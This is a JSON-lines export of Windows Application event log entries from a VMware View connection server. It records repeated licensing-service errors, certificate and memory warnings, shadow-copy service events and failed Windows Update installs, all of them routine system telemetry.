{"@timestamp":1646838817991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/05:15:13:37;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167374}}
{"@timestamp":1646838818006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167375}}
{"@timestamp":1646838831916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167376}}
{"@timestamp":1646838832028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167377}}
{"@timestamp":1646838848122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167378}}
{"@timestamp":1646838872362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_CERT_EXPIRY_WARNING\nCertificate will expire shortly for vCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 09 16:14:32 CET 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.VCHealth\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167379}}
{"@timestamp":1646838874366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8224,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303736302D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030333932302D205449443A202030303030343031362D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":167380}}
{"@timestamp":1646838945851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167381}}
{"@timestamp":1646838945953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167382}}
{"@timestamp":1646839189926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167383}}
{"@timestamp":1646839219929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167384}}
{"@timestamp":1646839249940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167385}}
{"@timestamp":1646839279957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167386}}
{"@timestamp":1646839309965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167387}}
{"@timestamp":1646839339969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167388}}
{"@timestamp":1646839369973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167389}}
{"@timestamp":1646839399976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167390}}
{"@timestamp":1646839429981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167391}}
{"@timestamp":1646839459986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167392}}
{"@timestamp":1646839490010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167393}}
{"@timestamp":1646839520043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167394}}
{"@timestamp":1646839550047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167395}}
{"@timestamp":1646839580051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167396}}
{"@timestamp":1646839610055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167397}}
{"@timestamp":1646839640057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167398}}
{"@timestamp":1646839670060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167399}}
{"@timestamp":1646839700063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167400}}
{"@timestamp":1646839730067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167401}}
{"@timestamp":1646839731797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 09 16:28:51 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167402}}
{"@timestamp":1646839770552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167403}}
{"@timestamp":1646839800555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167404}}
{"@timestamp":1646839830561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167405}}
{"@timestamp":1646839860565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167406}}
{"@timestamp":1646839876222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","80246013","73F45B23-8537-455D-83FD-840E7E93B835","Install","200","0","80246013","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","f51e05e1-9fbd-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167407}}
{"@timestamp":1646839876315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","80246013","4B322F60-2726-49E1-AF66-7C294C423EE7","Install","200","0","80246013","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","f51e05e2-9fbd-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167408}}
{"@timestamp":1646839877879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","80246013","ABD275AC-779A-43E9-8DCD-78D8392ED2E4","Install","200","0","80246013","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","f51e05e3-9fbd-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167409}}
{"@timestamp":1646839877932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","80246013","FB0DFDDC-417B-4FD7-BD09-20E1C3AA2CC9","Install","200","0","80246013","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","f51e05e4-9fbd-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167410}}
{"@timestamp":1646839882898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","80246013","40443BE5-0283-4B05-8BDB-9604B7F5D999","Install","200","0","80246013","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","f51e05e5-9fbd-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167411}}
{"@timestamp":1646839890568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167412}}
{"@timestamp":1646839920573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167413}}
{"@timestamp":1646839950579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167414}}
{"@timestamp":1646839980584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167415}}
{"@timestamp":1646840010596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167416}}
{"@timestamp":1646840040604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167417}}
{"@timestamp":1646840070609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167418}}
{"@timestamp":1646840074233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","8024401c","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","6b266b5f-9fbe-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167419}}
{"@timestamp":1646840100613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167420}}
{"@timestamp":1646840130651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167421}}
{"@timestamp":1646840160659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167422}}
{"@timestamp":1646840190666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167423}}
{"@timestamp":1646840220673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167424}}
{"@timestamp":1646840250677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167425}}
{"@timestamp":1646840280683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167426}}
{"@timestamp":1646840310688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167427}}
{"@timestamp":1646840340695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167428}}
{"@timestamp":1646840370701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167429}}
{"@timestamp":1646840400708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167430}}
{"@timestamp":1646840430713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167431}}
{"@timestamp":1646840460721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167432}}
{"@timestamp":1646840490730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167433}}
{"@timestamp":1646840520738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167434}}
{"@timestamp":1646840550743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167435}}
{"@timestamp":1646840580749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167436}}
{"@timestamp":1646840610754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167437}}
{"@timestamp":1646840640760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167438}}
{"@timestamp":1646840670765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167439}}
{"@timestamp":1646840700771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167440}}
{"@timestamp":1646840730777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167441}}
{"@timestamp":1646840760784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167442}}
{"@timestamp":1646840790803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167443}}
{"@timestamp":1646840820810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167444}}
{"@timestamp":1646840842478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SVI_CERT_INVALID\nCertificate is invalid for Composer at address https://eng-viewcomp401.engineering-ac.de:18443\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tComposerId=https://eng-viewcomp401.engineering-ac.de:18443\n\tSeverity=ERROR\n\tTime=Wed Mar 09 16:47:22 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.desktopcontroller.PublishVcCertToSviFederatedTask\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167445}}
{"@timestamp":1646840850816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167446}}
{"@timestamp":1646840880828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167447}}
{"@timestamp":1646840910853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167448}}
{"@timestamp":1646840940864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167449}}
{"@timestamp":1646840971193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167450}}
{"@timestamp":1646841001373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167451}}
{"@timestamp":1646841031382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167452}}
{"@timestamp":1646841061441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167453}}
{"@timestamp":1646841070221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8224,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303736302D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030373730382D205449443A202030303030333930342D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":167454}}
{"@timestamp":1646841091509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167455}}
{"@timestamp":1646841121515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167456}}
{"@timestamp":1646841151522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167457}}
{"@timestamp":1646841181556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167458}}
{"@timestamp":1646841211574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167459}}
{"@timestamp":1646841241654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167460}}
{"@timestamp":1646841271661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167461}}
{"@timestamp":1646841301668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167462}}
{"@timestamp":1646841331692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167463}}
{"@timestamp":1646841361782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167464}}
{"@timestamp":1646841391801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167465}}
{"@timestamp":1646841422073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167466}}
{"@timestamp":1646841452248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167467}}
